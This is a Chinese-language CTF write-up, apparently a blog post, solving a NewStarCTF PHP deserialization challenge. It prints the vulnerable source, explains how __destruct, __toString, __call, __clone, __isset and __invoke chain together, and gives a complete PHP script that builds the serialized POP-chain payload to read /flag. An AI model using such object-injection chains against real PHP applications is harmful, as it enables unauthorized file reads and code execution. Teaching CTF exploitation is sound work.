今天来个反序列化没见过的魔术方法__clone。
先看源码:
点击查看代码
class Start{
public $name;
protected $func;
public function __destruct()
{
echo "Welcome to NewStarCTF, ".$this->name;
}
public function __isset($var)
{
($this->func)();
}
}
class Sec{
private $obj;
private $var;
public function __toString()
{
$this->obj->check($this->var);
return "CTFers";
}
public function __invoke()
{
echo file_get_contents('/flag');
}
}
class Easy{
public $cla;
public function __call($fun, $var)
{
$this->cla = clone $var[0];
}
}
class eeee{
public $obj;
public function __clone()
{
if(isset($this->obj->cmd)){
echo "success";
}
}
}
__isset:当对不可访问属性调用isset()或empty()时调用,在eeee中出现isset;
__clone:当对象复制完成时调用,在Easy中出现。这题中要让Sec的var等于eeee这个类(第一次解题时这里出错了)
__call:在对象中调用一个不可访问方法时调用,在Sec中的toString中调用
__toString:在Start中出现echo $name
现在思路明确了,开始构造pop链。
上payload:
点击查看代码
<?php
class Start{
public $name;
public $func;
}
class Sec{
public $obj;
public $var;
}
class Easy{
public $cla;
}
class eeee{
public $obj;
}
$a = new Sec();
$b = new Start();
$b->func = $a;
$c = new eeee();
$c->obj = $b;
$d = new Sec();
$e = new Easy();
$d->obj = $e;
$d->var = $c;
$f = new Start();
$f->name = $d;
echo serialize($f);